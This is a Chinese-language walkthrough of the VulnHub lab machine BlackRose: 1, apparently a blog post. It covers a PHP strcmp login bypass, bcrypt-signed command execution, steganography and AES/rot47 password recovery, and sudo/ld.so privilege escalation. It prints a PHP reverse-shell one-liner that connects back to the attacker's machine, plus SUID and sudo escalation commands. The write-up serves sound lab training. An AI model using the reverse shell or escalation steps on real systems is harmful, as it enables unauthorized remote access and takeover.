BlackRose: 1-VulnHub

  • A+
所属分类:安全文章
BlackRose: 1-VulnHub

点击蓝字关注我们吧!


BlackRose: 1-VulnHub

0x01 下载



下载地址:https://www.vulnhub.com/entry/blackrose-1,509/

由于国外访问较慢,这里下载后的文件已经传到了网盘

网盘链接:

https://pan.baidu.com/s/1FGc7RPXnerkcydqN9i86Gw 

提取码:5whz

PS:下载vulnhub里面的镜像可以使用FDM这款工具,挂到机器上慢慢下。


 
 


BlackRose: 1-VulnHub

0x02 安装


这里推荐直接使用virtualbox,因为VM安装会报如下错误。


BlackRose: 1-VulnHub


这里网上是有解决方案的,但是直接用virtualbox他不香么。直接导入即可。

导入后选择内部网络intent就好,这个是一个独立的内网,

所以说我们的物理机是无法访问到靶机的,需要把其他的虚拟机添加到这个网络中。

例如kali,添加时也选择内部网络,然后配置kali的IP就行,这里因为在内网中没有相关DHCP服务器,所以需要手工分配静态IP,配置到相关网段即可。


BlackRose: 1-VulnHub

0x03 知识点



3.1 PHP strcmp()函数


int strcmp ( string $str1 , string $str2 ),用来比较两个字符串的值,

参数 str1第一个字符串。

str2第二个字符串。如果 str1 小于 str2 返回 < 0;如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。

当传入的值不符合期望的类型就会报错,在php5.3以前,在报错信息显示后,将return 0,这也就导致了漏洞的产生。

后面的版本中修复了这个漏洞,使得报错的时候函数不返回任何值。


3.2 passwordverify与passwordhash函数


string password_hash ( string $password , int $algo [, array $options ] )


PASSWORD_DEFAULT - 使用 bcrypt 算法 (PHP 5.5.0 默认)

PASSWORD_BCRYPT - 使用 CRYPT_BLOWFISH 算法创建散列。

PASSWORD_ARGON2I - 使用 Argon2 散列算法创建散列。


bool password_verify ( string $password , string $hash )


password_verify() 函数用于验证密码是否和散列值匹配。


3.3 ld.so滥用


ld.so 是 Unix(https://baike.baidu.com/item/Unix/21994)或类Unix系统上的动态链接器。

当应用程序需要使用动态链接库里的函数时,由ld.so负责加载。

在渗透时可以通过修改环境变量,让高权限程序加载恶意动态链接库,从而获取更高的权限。


3.4 二进制文件逆向与AES解密


文件的逆向没什么好讲的,拖进去直接就能看到代码逻辑。

后边所用到的AES解密是需要去猜测的,一般有key的话就是对称加密算法,常见的对称加密算法有DES、3DES、Blowfish、IDEA、RC4、RC5、RC6 和 AES。

这个没什么捷径,只能尝试去一个一个猜解。

同时秘钥长度为8,转换成字节就是32位,通过这个信息缩小些范围。


3.5 图片隐写工具


Steghide是一个可以将文件隐藏到图片或音频中的工具


安装:apt install steghide

隐藏文件

steghide embed -cf [文件载体] -ef [待隐藏文件]

查看文件信息

steghide info [文件]

提取隐藏信息

steghide extract -sf [文件]


3.6 简单的WAF绕过


php中可以使用()进行连接绕过检查


3.7 linux权限提升


参考网站:https://payatu.com/guide-linux-privilege-escalation

对linux中的提权总结的挺好的,在玩靶机的过程中,主要使用了SUID的查找,配置不当和特权命令来提升权限。


BlackRose: 1-VulnHub

0x04 探测&测试



这里作者已经给出了IP地址:192.168.1.21

直接ping一下。确定可以连通后就可以开始玩了。

日常先扫一波端口及服务。

开了22、80、3306,竟然开放3306出来,看我拿出远程溢出0day,直接打3306拿到权限。(为什么有牛在飞)。


BlackRose: 1-VulnHub


正常开始搞,22和3306可以走一波爆破,但是按一般的渗透流程不建议使用,毕竟动作太大了。

其次老外的口令字典还是不太一样的,懒得去找了。还是从web入手看看。

打开迎面一个登录和注册的框框。


BlackRose: 1-VulnHub


那么能想到的测试点无非就是:

  • 登录绕过(逻辑问题,语言特性)

  • sql注入(万能密码)

  • 弱口令(爆破)

  • 二次注入

  • 注册覆盖

  • 未授权访问(目录扫描)


尝试注册、进去一番摸索,并没有发现什么有什么可以值得利用的地方,点击页面发现功能点需要admin用户才能操作,那先在的目标就是获取admin权限


BlackRose: 1-VulnHub


经过一番搜索,发现登录时使用php的一个特性去绕过了登录判断,就是PHP strcmp()


BlackRose: 1-VulnHub


然后就可以成功的登录进去了


BlackRose: 1-VulnHub



BlackRose: 1-VulnHub

0x05 服务器权限获取


5.1 加密与执行


在页面上有一个命令执行的窗口,在尝试了几个命令后,发现只有whoami命令可以执行,

其次因为有csrftoken这个参数的原因,他会频繁刷新,如果没有及时执行命令时就会一直timeout。

执行后可以看到是一个www-data的权限。现在需要搞清楚签名的含义。


BlackRose: 1-VulnHub


kali自带两个hash算法识别工具hashid和hash-identifier。然而两个都没有识别出来。


BlackRose: 1-VulnHub


不过好在我们已经获取了密文内容,那么使用john跑一下就能识别了。

识别出来这个签名的加密方式bcrypt。然后就可以利用这个进行命令执行了。


BlackRose: 1-VulnHub


找到一个在线 加密网站http://passwordhashing.com/),

在尝试几个命令后准备反弹shell,一般linux下反弹shell操作无非也就那几种。

这里推荐一个 shell生成网站https://krober.biz/misc/reverse_shell.php)。


BlackRose: 1-VulnHub


5.2 权限获取


先用nc起一个监听,然后抓包改执行的命令,发现执行命令时老报错误,

最终使用遍历的方法获取到了一个shell:


php -r '$s=fsockopen("1921.68.1.2",4444);$proc=proc_open("/bin/sh -i", array(0=>$s, 1=>$s, 2=>$s),$pipes);'


BlackRose: 1-VulnHub


转换成标准的输入输出:python -c 'import pty; pty.spawn("/bin/bash")'



BlackRose: 1-VulnHub

0x06 权限提升 - yourname


6.1 www-data到delx


linux权限提升的几种方式:

内核提权,SUID提权,高权限应用,sudo等。

这里不存在内核漏洞


先找一下 find / -perm -u = s -type f 2> / dev / null


BlackRose: 1-VulnHub


然而并没有什么可以值得利用的,接着查看sudo权限和用户sudo -l


BlackRose: 1-VulnHub


发现了delx用户有动态链接库文件ld.so,执行sudo -u delx /bin/ld.so /bin/bash

获取delx权限


6.2 加密与解密


即可切换到delx用户下,

执行find / -type f -user delx 2>/dev/null,找到了一些有趣的文件


BlackRose: 1-VulnHub


showpasswd是一个执行文件,但实际上执行后会显示一条消息。


BlackRose: 1-VulnHub


遇到这种情况就要分析代码了。使用scp命令将该文件传到本机


BlackRose: 1-VulnHub


使用ida打开,很直观的就可以看到其代码逻辑,执行了一系列的字符串判断。


BlackRose: 1-VulnHub


简单分析后得到了gqSFGqAJ 字符串。

然而这个时候并不知道这个字符串有什么用途,又到了脑洞时间。

在文件还有一长串字符串没有用到,猜测是需要使用字符串当key去解。


BlackRose: 1-VulnHub


一番搜索后,发现是AES加密,

使用 在线网站(http://asencryption.net/)进行解密,

可以得到一个字符串:RkZiPVkvxykJVOmxBmitBPeJXqFuxM


BlackRose: 1-VulnHub


6.3 图片隐写获取密码


这里有一个点,就是首页背景图片中也隐藏了信息,需要用上面的key进行解密。


BlackRose: 1-VulnHub


查看内容为:s)M8Z=7|8/&YY-zK5L$.w3Su'[email protected]

这个密码看起来依旧是加密的,经过查找,发现是rot47

解密出来是:DX|g+lfMg^U**Kzd{S]Hb$FV"o?v#


BlackRose: 1-VulnHub


使用该密码登入yourname这个用户,获取第一个文件。


BlackRose: 1-VulnHub



BlackRose: 1-VulnHub

0x07 权限提升 - root



依旧先使用sudo -l命令查看相关命令执行权限,发现blackrose这个命令,

执行后发现还是无法读取root文件。


BlackRose: 1-VulnHub


看起来是存在了某种限制,经过一番搜索后,发现可以使用PHP后缀文件。

发现这个程序还过滤了一些高危函数。


BlackRose: 1-VulnHub


绕过以后成功获取root权限


BlackRose: 1-VulnHub



BlackRose: 1-VulnHub

0x08 结语


靶场的质量挺高的,CTF说实话跟渗透的差别还是有的,解这个靶机跟做题差不多,需要思考作者的用意。

另外就是平时知识的积累,偶尔渗透累了,做做靶机涨涨技术也是不错滴。



end



BlackRose: 1-VulnHub


发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: